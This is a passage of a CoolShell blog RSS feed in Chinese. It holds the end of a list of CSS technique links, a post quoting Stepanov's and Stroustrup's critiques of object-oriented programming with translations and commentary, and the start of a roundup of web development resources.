href=\"http://www.456bereastreet.com/lab/teaser/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5122\" title=\"35css-techniques0029\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/35css-techniques0029.gif\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>36. <a href=\"http://www.deltatangobravo.com/images/zoom/\">CSS Zooming</a></h4>\n<p><a href=\"http://www.deltatangobravo.com/images/zoom/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5123\" title=\"36css-techniques0032\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/36css-techniques0032.gif\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>37. <a href=\"http://mikecherim.com/experiments/css_menu_descriptions.php#\">CSS: Menu Descriptions</a></h4>\n<p><a href=\"http://mikecherim.com/experiments/css_menu_descriptions.php#\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5124\" title=\"37css61\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/37css61.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>38. <a href=\"http://www.smashingmagazine.com/2006/11/11/css-based-forms-modern-solutions/\">CSS-Based Forms: Techniques</a></h4>\n<p><a href=\"http://www.smashingmagazine.com/2006/11/11/css-based-forms-modern-solutions/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5125\" title=\"38css-techniques0024\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/38css-techniques0024.gif\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>39. <a href=\"http://css-tricks.com/date-display-with-sprites/\">Date Display Technique with Sprites</a></h4>\n<p><a href=\"http://css-tricks.com/date-display-with-sprites/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5126\" title=\"39Display-Date-Using-Sprites\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/39Display-Date-Using-Sprites.png\" alt=\"\" width=\"417\" height=\"165\" /></a></p>\n<h4>40. <a href=\"http://www.barenakedapp.com/the-design/displaying-percentages\">Displaying Percentages with CSS</a></h4>\n<p><a href=\"http://www.barenakedapp.com/the-design/displaying-percentages\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5127\" title=\"40css-techniques0036\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/40css-techniques0036.gif\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<p>文章来源：<a href=\"http://technologytosoftware.com/best-css-techniques-you-shouldt-miss-for-effective-coding.html\" target=\"_blank\">http://technologytosoftware.com/best-css-techniques-you-shouldt-miss-for-effective-coding.html</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3063.html\">40个很不错的CSS技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3063.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>10</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>面向对象是个骗局？！</title>\n\t\t<link>https://coolshell.cn/articles/3036.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3036.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 29 Sep 2010 00:37:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Alexander Stepanov]]></category>\n\t\t<category><![CDATA[Bjarne Stroustrup]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Object-Oriented]]></category>\n\t\t<category><![CDATA[OOP]]></category>\n\t\t<category><![CDATA[STL]]></category>\n\t\t<category><![CDATA[面向对象]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3036</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天在网上看到网页叫“Object Orientation Isa Hoax”——面向对象是一个骗局，标题很有煽动性（注：该网站上还有一个网页叫Object O...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3036.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3036.html\">面向对象是个骗局？！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>今天在网上看到网页叫“<a href=\"http://c2.com/cgi/wiki?ObjectOrientationIsaHoax\" target=\"_blank\">Object Orientation Isa Hoax</a>”——面向对象是一个骗局，标题很有煽动性（注：该网站上还有一个网页叫<a href=\"http://c2.com/cgi/wiki?ObjectOrientationIsDead\" target=\"_blank\">Object Orientation Is Dead</a>），好吧，打开看看上面有些 什么，发现这个网页是在收集一些关于“面向对象的反动言论”，没想到的是，很多言论出自很多大师之口。比如：Alexander Stepanov和Bjarne Stroustrup。这些言论挺有意思的，所以，我摘两段在下面：</p>\n<p>第一段是Alexander Stepanov的（不要告诉我你不知道这个人，STL之父，关于他的故事，可以到<a href=\"http://www.techcn.com.cn/index.php?doc-view-131345.html\" target=\"_blank\">这里看看</a>）。他N年前作过一段采访，<a href=\"http://www.stlport.org/resources/StepanovUSA.html\" target=\"_blank\">原文在这里</a>（我非常建议大家去读一下这篇采访，相当过瘾），<a href=\"http://dev.csdn.net/htmls/11/11440.html\" target=\"_blank\">译文在这里</a>（不过有地方把原意都译反了，我重译了一下），其中有一个问答被上述的那个面向对象反动言论的网页收录了：</p>\n<figure style=\"width: 225px\" class=\"wp-caption alignright\"><img decoding=\"async\" loading=\"lazy\" title=\"Alexander Stepanov\" src=\"http://www.techcn.com.cn/uploads/200906/s_1244557971yFeOfA84.jpg\" alt=\"\" width=\"225\" height=\"300\" /><figcaption class=\"wp-caption-text\">Alexander Stepanov</figcaption></figure>\n<blockquote><p><strong>Question</strong>:<br />\nI think STL and Generic Programming mark a definite departure from the common C++ programming style, which I find is almost completely derived from SmallTalk. Do you agree?</p>\n<p><strong>提问</strong>：<br />\n我认为STL和泛型编程标志着非同一般的C++编程风格，而一般C++风格几乎完全是从SmallTalk派生过来的。你同意吗？</p>\n<p><strong>Answer</strong>:<br />\nYes. STL is not object oriented. I think that object orientedness is almost as much of a hoax as Artificial Intelligence. I have yet to see an interesting piece of code that comes from these OO people. In a sense, I am unfair to AI: I learned a lot of stuff from the MIT AI Lab crowd, they have done some really fundamental work: Bill Gosper&#8217;s Hakmem is one of the best things for a programmer to read. AI might not have had a serious foundation, but it produced Gosper and Stallman (Emacs), Moses (Macsyma) and Sussman (Scheme, together with Guy Steele). I find OOP technically unsound. It attempts to decompose the world in terms of interfaces that vary on a single type. To deal with the real problems you need multisorted algebras &#8211; families of interfaces that span multiple types. I find OOP philosophically unsound. It claims that everything is an object. Even if it is true it is not very interesting &#8211; saying that everything is an object is saying nothing at all. I find OOP methodologically wrong. It starts with classes. It is as if mathematicians would start with axioms. You do not start with axioms &#8211; you start with proofs. Only when you have found a bunch of related proofs, can you come up with axioms. You end with axioms. The same thing is true in programming: you have to start with interesting algorithms. Only when you understand them well, can you come up with an interface that will let them work.</p>\n<p><strong>回答：</strong><br />\n是的。STL不是面向对象的。我认为面向对象和人工智能差不多，都是个骗局。我至今仍然没有从那些OO编程的人那里看到一丁点有意思的代码。从某种意义上来说，我这么说对人工智能（AI）并不公平：因为我听说过很多MIT（麻省理工大） AI实验室里一帮人搞出来的东西，而且他们的确直正干了一些基础性的工作：Bill Gosper的Hakmem是程序员最好的读物之一。AI或许没有一个实实在在的基础，但它造就了Gosper和Stallman（Emacs）， Moses（Macsyma）和Sussman（Scheme， 和Guy Steele一起）。</p>\n<ul>\n<li>我发现OOP在技术上是荒谬的，它企图把事物按照不同单个类型的接口来解构，为了处理实际问题，你需要多种代数方法——横跨多种类型的接口族；</li>\n<li>我发现OOP在哲学上是荒谬的，它声称一切都是对象。即使这是真的也不是很有趣——因为说一切都是对象跟什么都没说一样；</li>\n<li>我发现OOP的方法论是错误的，它从类开始，就好像数学应该从从公理开始一样。其实你不会是从公理开始的，而是从证明开始。直到你找到了一大堆相关证据后你才能归纳出公理，然后以公理结束。在程序设计方面存在着同样的事实：你要从有趣的算法开始。只有很好地理解了算法，你才有可能提炼出接口以让其工作。</li>\n</ul>\n</blockquote>\n<p><span style=\"color: #ffffff;\">&lt;&#8212;&#8212;&#8212;&gt;</span></p>\n<p>下面，我们再来看C++的发明者Bjarne Stroustrup，在1998年IEEE采访时的一段话（<a href=\"http://www2.research.att.com/~bs/ieee_interview.html\" target=\"_blank\">全篇见这里</a>），下面是其中的几段话：（我的翻译如下）</p>\n<p><span id=\"more-3036\"></span></p>\n<figure style=\"width: 200px\" class=\"wp-caption alignright\"><img decoding=\"async\" loading=\"lazy\" title=\"Bjarne Stroustrup\" src=\"http://www.techcn.com.cn/uploads/200906/1244559516ywHaeEXL.png\" alt=\"\" width=\"200\" height=\"245\" /><figcaption class=\"wp-caption-text\">Bjarne Stroustrup</figcaption></figure>\n<blockquote><p>So what is OO? Certainly not every good program is object-oriented, and not every object-oriented program is good. If this were so, &#8220;object-oriented&#8221; would simply be a synonym for &#8220;good,&#8221; and the concept would be a vacuous buzzword of little help when you need to make practical decisions. I tend to equate OOP with heavy use of class hierarchies and virtual functions (called methods in some languages). This definition is historically accurate because class hierarchies and virtual functions together with their accompanying design philosophy were what distinguished Simula from the other languages of its time. In fact, it is this aspect of Simula&#8217;s legacy that Smalltalk has most heavily emphasized.</p>\n<p>那么，什么是OO面向对象？当然，不会是所有的程序都是面向对象的，而且，也不是所有的面向对象程序就是好的。如果面向对象是好的，那么“Object-Oriented”应该成为“Good”的同义词，并且，OO概念只会成为一个假大空的口号，在你需要做出实际决定时只可能帮你那么一丁点。我倾向于把OOP等价于大量使用继承类和虚函数（某些语言的调用方法）。从历史上来说，这个定义是精确的，因为，在那个时候，只有类的继承和虚函数一起存在的设计哲学，才能把Simula和其它语言分别开来。事实上，Smalltalk相当地强调着这种Simula的遗留问题。</p>\n<p>Defining OO as based on the use of class hierarchies and virtual functions is also practical in that it provides some guidance as to where OO is likely to be successful. You look for concepts that have a hierarchical ordering, for variants of a concept that can share an implementation, and for objects that can be manipulated through a common interface without being of exactly the same type. Given a few examples and a bit of experience, this can be the basis for a very powerful approach to design.</p>\n<p>用继承类和虚函数来定义OO在实际上可以让很多OO指导性的东西更能成功一些。在解决问题时，寻找的那些有层级次序的对象，以应对不同对象也可以重用同一个实现，并且对象可以被某个共同的接口来操作而不需要完全相同的类型。在你了解了一些示例和拥有了一些经验后，OO可以成为Design的一个强有力的基础。</p>\n<p>However, not every concept naturally and usefully fits into a hierarchy, not every relationship among concepts is hierarchical, and not every problem is best approached with a primary focus on objects. For example, some problems really are primarily algorithmic. Consequently, a general-purpose programming language should support a variety of ways of thinking and a variety of programming styles. This variety results from the diversity of problems to be solved and the many ways of solving them. C++ supports a variety of programming styles and is therefore more appropriately called a multiparadigm, rather than an object-oriented, language (assuming you need a fancy label).</p>\n<p>然而，并不是每一个对象都自然地有效地适合继承，并不是每一个对象间的关系都是继承，也并不是每一个问题的最佳解决途径需要主要地通过对象。例如，很多问题主要是算法问题（译注：如业务逻辑，数据流等）。我们知道，一个一般性的编程语言都应该有能力支持不同的思路和不同的编程风格。这样，对于问题的多样性，我们可以使用许许多多不同的的方法去解决他们，这就产生了很多的不同解法。C++支持编程风格的多样性，因此，C++叫做“多范式  multi-paradigm”会更合适一些，而不是一个面向对象语言。</p></blockquote>\n<p><span style=\"color: #ffffff;\">&lt;&#8212;&#8212;&#8212;&gt;</span></p>\n<p>我个人在看过这些言论后，我先不管“面向对象是不是一个骗局”，不过从某种角度上来看的确是有些问题的，C++、OO、XML、SOA、网格计算等等诸如此类的东西的确被挂上了神圣的光坏。这些东西出来的时候总是只有一种赞美的声音。无论好坏，只有一种声音总是令人恐怖的，无论好坏，有不同的声音总是好的，每当这个社会或是我们的IT界大张旗鼓地鼓吹或是信仰某些东西，却没有任何一点不同意见的时候，我就会感到一种莫名的恐慌。我知道，这是我们从小受到的那种“非黑即白”的价值观教育所致，事物要么全是好的，要么全是不好的。其实任何事物都是有好有不好的，C++，敏捷开发，CMMi，OO，设计模式，重构，等等等等，他们都有好的也有不好的，关键看你怎么来使用（如之前的《<a title=\"代码重构的一个示例\" href=\"https://coolshell.cn/articles/3005.html\" target=\"_blank\">代码重构的一个示例</a>》）。这个世界只有适合不适合的东西，不会出现放之四海皆准的东西，也不可能出现一种可以解决所有问题的东西，如果有，那么这种东西必然是一种宗教性质的用来洗脑的东西。</p>\n<p>所以，每当在我身边看到或听到那些只有一种声音有如“电视购物”或是“新闻联播”之类的宣传或是鼓动的时候，我就感到很一种莫名的反感…… 不多说了，还是交给大家来评价吧。我仅以此篇文章献给那些OO-Oriented，Design Pattern-Oriented，Agile-Oriented，Process-Oriented，等等有着宗教信仰一般的人和事。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"对象的消息模型\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_title\">对象的消息模型</a></li><li ><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"一些软件设计的原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_title\">一些软件设计的原则</a></li><li ><a href=\"https://coolshell.cn/articles/12199.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" alt=\"C++ STL string的Copy-On-Write技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12199.html\" class=\"wp_rp_title\">C++ STL string的Copy-On-Write技术</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3036.html\">面向对象是个骗局？！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3036.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>79</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些非常有意思的杂项资源</title>\n\t\t<link>https://coolshell.cn/articles/3013.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3013.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 28 Sep 2010 00:38:34 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Ajax开发]]></category>\n\t\t<category><![CDATA[Ruby]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[AJAX]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<category><![CDATA[Flash]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[GUI]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[IE]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Structure Synth]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<category><![CDATA[vi]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3013</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一些最近在互联网上看到的一些各式各样的资源和文章，当然，都是英文社区的，本来想每一个写一篇文章，但是觉得一篇文章一句话真没劲，所以，把这些东西合并写成一篇...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3013.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一些最近在互联网上看到的一些各式各样的资源和文章，当然，都是英文社区的，本来想每一个写一篇文章，但是觉得一篇文章一句话真没劲，所以，把这些东西合并写成一篇文章，这样有利于减轻本站的负载，也有利于节省网络带宽，同样，也就节省了能力和电力，因此也就很环保，很低碳。呵呵。</p>\n<ul>\n<li>先是一个《Windows Internal》第五版的第五章的电子版（英文的），你可以在<a href=\"http://download.sysinternals.com/Files/WindowsInternals-Ch05.pdf\" target=\"_blank\"><strong>这里下载</strong></a>。关于其它一些电子书，你可以看看本站的这篇文章《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2775.html\" target=\"_blank\">免费电子书列表</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/240.html\">非常不错的编程技术教程</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/336.html\">超过100本的linux免费书籍</a>》和《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/355.html\">20本最好的Linux免费书籍</a>》</li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li><a href=\"http://www.3dtin.com/\" target=\"_blank\"><strong>http://www.3dtin.com/</strong></a>是一个用纯Javascript搞的一个3D作图的网站，Javascript是越来越强大了。这个演示可以让你看到以后Web应用的潜力。关于<a href=\"https://coolshell.cn/articles/tag/javascript\" target=\"_blank\">Javascript的一些东西</a>，你可以参看本站的这些文章《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2785.html\" target=\"_blank\">JS1K 演示</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2276.html\" target=\"_blank\">又一个Javascript试验田</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2065.html\" target=\"_blank\">一个Windows 3.1的Web网站</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1932.html\" target=\"_blank\">哥是玩程序的</a>》。</li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>说到这些很酷很炫的东西，大家一定会想到使用Flash，不过，目前的<a href=\"https://coolshell.cn/articles/2735.html\" target=\"_blank\">Flash正在受到HTML5的强力挑战</a>，目前，对于HTML5的展示网站很多，让我们看到了HTML5完全可以做出Flash的样子，比如前些天本站说到的<a href=\"https://coolshell.cn/articles/2926.html\" target=\"_blank\">这个演示</a>，还有给大家展示的<a href=\"https://coolshell.cn/articles/2998.html\" target=\"_blank\">纯HTML5的小游戏</a>，不过，那些都是一些演示和展示罢了。今天在网上看到一个更强大的HTML5游戏，相当有可玩性，大家不妨一去试玩：<strong><a href=\"http://www.phoboslab.org/biolab/\" target=\"_blank\">http://www.phoboslab.org/biolab/</a></strong></li>\n</ul>\n<p><a href=\"http://www.phoboslab.org/biolab/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3017\" title=\"一个很不错的HTML5游戏\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab.jpg\" alt=\"\" width=\"483\" height=\"321\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab.jpg 483w, https://coolshell.cn/wp-content/uploads/2010/09/biolab-300x199.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/09/biolab-406x270.jpg 406w\" sizes=\"(max-width: 483px) 100vw, 483px\" /></a></p>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>HTML5 可以应用的还不只是游戏，这不，<a href=\"http://thechangelog.com/post/1097381443/vexflow-html5-canvas-javascript-library-music-and-guitar\" target=\"_blank\">有文章指出</a>，用<a href=\"http://www.vexflow.com/\" target=\"_blank\"><strong>VexFlow</strong></a>还可以很轻松地在网页上发布乐谱。而<a href=\"http://stepheneisenhauer.com/demos/drummachine/\" target=\"_blank\"><strong>这个网页</strong></a>还可以让你制作Hi-PoP音乐。</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://www.vexflow.com/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://cl.ly/c4f966c6d51cfc9be20b/content\" alt=\"Rendered music\" width=\"530\" height=\"240\" /></a></p>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>说到Web开发，就得要提CSS了，这里有一个在线编辑CSS的网站，很不错，<a href=\"http://css3.mikeplate.com/\" target=\"_blank\"><strong>http://css3.mikeplate.com/</strong></a>。关于CSS和Web开发的一些文章，你可以查看本站的<a href=\"https://coolshell.cn/articles/tag/css\" target=\"_blank\">CSS的Tag</a>。现在，这种在线的东西是越来越多了，比如：《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2271.html\" target=\"_blank\">Emacs配色在线生成器</a><span style=\"font-weight: normal; font-size: 13px;\">》、《</span><a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1883.html\" target=\"_blank\">Coderun.com 在线开发IDE</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1830.html\" target=\"_blank\">正则表达式生成器</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1611.html\" target=\"_blank\">Ajax开发利器UIzard</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/776.html\" target=\"_blank\">一个在线的画UML图的网站</a>》。</li>\n</ul>\n<p><span id=\"more-3013\"></span></p>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>说起在线服务，就不得不说说在线代码编译的服务，我觉得这种服务相当好，不需要你在本机安装编译器或IDE，想试试某个语言的语法，真接上网就OK，很方便。以前本站向大家介绍过《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1310.html\" target=\"_blank\">在线代码编译服务Codepad.org</a>》其支持：C，C++，D，Haskell，Lua，OCaml，PHP，Perl，Plain Text，Python，Ruby，Scheme，Tcl。当然，在这里，向你介绍一个可以运行Go语言的：<strong><a href=\"http://golang.org/doc/play/\" target=\"_blank\">http://golang.org/doc/play/</a></strong></li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>说起Web开发，很自然的就能想到UI。下面是一个<a href=\"http://designingwebinterfaces.com/designing-web-interfaces-12-screen-patterns\" target=\"_blank\"><strong>UI的设计Patterns</strong></a>，这篇文章告诉了我们12个比较常用或是经典的图形UI Patterns。关于<a href=\"https://coolshell.cn/articles/tag/ui\" target=\"_blank\">UI方面的话题</a>，你可以参看酷壳的《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/363.html\" target=\"_blank\">35个强大的UI设计教程</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1907.html\" target=\"_blank\">UI的恶梦</a>》和《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2313.html\" target=\"_blank\">史上最糟糕的网站</a>》。</li>\n</ul>\n<p><a href=\"http://designingwebinterfaces.com/designing-web-interfaces-12-screen-patterns\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"12个标准的图形UI设计模式\" src=\"http://theresaneil.files.wordpress.com/2008/12/standard_screen_patterns.png\" alt=\"\" width=\"476\" height=\"705\" /></a></p>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>说起Web的界面，最让各位WEB开发者痛苦的就是网页兼容性问题，IE是一个恶梦，因为其自己和自己都不兼容，在MSDN上，有这样的一个网页说明了<a href=\"http://msdn.microsoft.com/en-us/library/cc351024\" target=\"_blank\"><strong>从IE5一直到IE9的CSS的兼容性问题</strong></a>，很多很多的表格，头都看大了。当然，以前本站的《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/757.html\" 